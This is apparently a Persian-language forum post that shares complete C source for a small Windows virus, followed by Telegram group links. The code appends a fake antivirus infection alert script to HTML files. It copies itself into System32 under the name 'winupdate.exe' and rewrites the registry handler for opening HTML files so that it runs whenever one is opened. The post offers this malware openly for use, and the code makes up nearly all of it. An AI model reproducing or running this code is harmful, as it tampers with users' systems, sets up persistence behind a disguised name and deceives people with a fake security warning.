09-22-2011، 12:57 AM
اینم یه ویروس کوچلو با زبان سی :-)
کد:
#define WIN32_LEAN_AND_MEAN
#include <stdio.h>
#include <windows.h>
#include <shellapi.h>
// (Default) "C:\Program Files\Internet Explorer\iexplore.exe" %1
const char InfectString[] = "\n<script>alert(\"Warning: This file has been detected by Windows "
"Defender to be infected with Win32/BullMoose!\");</script>";
int main(int argc, char *argv[])
{
// needed path to program
if(argc==2) {
// set up attributes for normal
SetFileAttributes(argv[1],FILE_ATTRIBUTE_NORMAL);
// open file
FILE *file = fopen(argv[1],"at");
// write to it (string InfectString)
fputs(InfectString,file);
// close file
fclose(file);
//run internet explorer
ShellExecute(NULL,"open","\"C:\\Program Files\\Internet Explorer\\iexplore.exe\"",argv[1],NULL,SW_SHOW);
}
char MyPath[256], CpyPath[256];
// get path to our trojan
GetModuleFileName(NULL,MyPath,sizeof(MyPath));
// get C:\Windows\System32
GetSystemDirectory(CpyPath,sizeof(CpyPath));
// Add to string system32 our trojan reccord C:\Windows\System32\winupdate.exe
strcat(CpyPath,"\\winupdate.exe");
// copy trojan to C:\Windows\System32\ our winupdate.exe
CopyFile(MyPath,CpyPath,FALSE);
// add to string 1% for open with shell extension
strcat(CpyPath," %1");
HKEY Key32;//for registru
// open key in registry
RegOpenKeyEx(HKEY_CLASSES_ROOT,"htmlfile\\shell\\opennew\\command",0,KEY_WRITE,&Key32);
// write our record
RegSetValueEx(Key32,"",0,REG_SZ,CpyPath,strlen(CpyPath));
// close registry
RegCloseKey(Key32);
//end
return 0;
}
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg